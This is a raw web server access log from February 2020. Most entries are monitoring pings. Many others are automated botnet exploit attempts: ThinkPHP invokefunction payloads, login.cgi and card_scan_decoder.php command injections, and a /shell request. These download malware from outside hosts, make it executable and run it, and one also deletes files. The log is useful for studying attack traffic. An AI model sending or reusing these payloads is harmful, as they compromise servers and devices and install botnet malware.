212.91.246.72 - - [04/Feb/2020:07:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:07:10:35 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:07:10:35 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:07:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.16.86 - - [04/Feb/2020:07:12:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.80.151.145 - - [04/Feb/2020:07:14:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:07:16:28 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:07:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.104.128.142 - - [04/Feb/2020:07:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:07:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.74.168.163 - - [04/Feb/2020:07:19:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.244 - - [04/Feb/2020:07:21:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.29.31 - - [04/Feb/2020:07:22:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.170.31 - - [04/Feb/2020:07:25:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.16.86 - - [04/Feb/2020:07:26:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.50.3.132 - - [04/Feb/2020:07:29:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.25.179 - - [04/Feb/2020:07:31:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
183.80.224.78 - - [04/Feb/2020:07:32:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.94.195.72 - - [04/Feb/2020:07:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [04/Feb/2020:07:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.44.112 - - [04/Feb/2020:07:34:40 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [04/Feb/2020:07:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.144.195 - - [04/Feb/2020:07:37:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.59.101 - - [04/Feb/2020:07:38:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.170.31 - - [04/Feb/2020:07:42:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.226.145 - - [04/Feb/2020:07:42:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.210.181.18 - - [04/Feb/2020:07:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.138.205.194 - - [04/Feb/2020:07:44:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [04/Feb/2020:07:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.213.69 - - [04/Feb/2020:07:47:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.204.221.235 - - [04/Feb/2020:07:48:26 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [04/Feb/2020:07:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.112.246 - - [04/Feb/2020:07:53:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.36 - - [04/Feb/2020:07:56:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
156.196.241.50 - - [04/Feb/2020:07:57:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.83.87 - - [04/Feb/2020:07:57:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [04/Feb/2020:07:59:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.82.113 - - [04/Feb/2020:07:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.51.55.60 - - [04/Feb/2020:08:00:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.163.87.21 - - [04/Feb/2020:08:01:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.50.16.86 - - [04/Feb/2020:08:01:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.36 - - [04/Feb/2020:08:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.36 - - [04/Feb/2020:08:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:08:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.216.54.117 - - [04/Feb/2020:08:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.189.116 - - [04/Feb/2020:08:10:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.179.46 - - [04/Feb/2020:08:12:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.98.124 - - [04/Feb/2020:08:13:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:08:14:30 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:08:14:40 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:14:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:08:16:28 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.197.102.187 - - [04/Feb/2020:08:17:05 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [04/Feb/2020:08:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.216 - - [04/Feb/2020:08:19:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:08:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:08:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.146.14.82 - - [04/Feb/2020:08:22:42 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:23:00 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:23:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:23:10 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:23:11 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:23:28 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:08:23:29 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:08:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
